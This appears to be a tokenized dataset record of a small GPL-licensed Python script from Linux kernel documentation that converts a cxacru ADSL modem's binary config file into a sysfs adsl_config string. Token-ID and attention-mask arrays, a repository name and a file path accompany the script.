#!/usr/bin/env python # Copyright 2009 Simon Arlott # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation; either version 2 of the License, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # Usage: cxacru-cf.py < cxacru-cf.bin # Output: values string suitable for the sysfs adsl_config attribute # # Warning: cxacru-cf.bin with MD5 hash cdbac2689969d5ed5d4850f117702110 # contains mis-aligned values which will stop the modem from being able # to make a connection. If the first and last two bytes are removed then # the values become valid, but the modulation will be forced to ANSI # T1.413 only which may not be appropriate. # # The original binary format is a packed list of le32 values. import sys import struct i = 0 while True: buf = sys.stdin.read(4) if len(buf) == 0: break elif len(buf) != 4: sys.stdout.write("\n") sys.stderr.write("Error: read {0} not 4 bytes\n".format(len(buf))) sys.exit(1) if i > 0: sys.stdout.write(" ") sys.stdout.write("{0:x}={1}".format(i, struct.unpack("<I", buf)[0])) i += 1 sys.stdout.write("\n")
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
CalmYak/N1-Kernel-Source-4.2
Documentation/networking/cxacru-cf.py
14668
1626
#!/usr/bin/env python # Copyright 2009 Simon Arlott # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation; either version 2 of the License, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # Usage: cxacru-cf.py < cxacru-cf.bin # Output: values string suitable for the sysfs adsl_config attribute # # Warning: cxacru-cf.bin with MD5 hash cdbac2689969d5ed5d4850f117702110 # contains mis-aligned values which will stop the modem from being able # to make a connection. If the first and last two bytes are removed then # the values become valid, but the modulation will be forced to ANSI # T1.413 only which may not be appropriate. # # The original binary format is a packed list of le32 values. import sys import struct i = 0 while True: buf = sys.stdin.read(4) if len(buf) == 0: break elif len(buf) != 4: sys.stdout.write("\n") sys.stderr.write("Error: read {0} not 4 bytes\n".format(len(buf))) sys.exit(1) if i > 0: sys.stdout.write(" ") sys.stdout.write("{0:x}={1}".format(i, struct.unpack("<I", buf)[0])) i += 1 sys.stdout.write("\n")
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 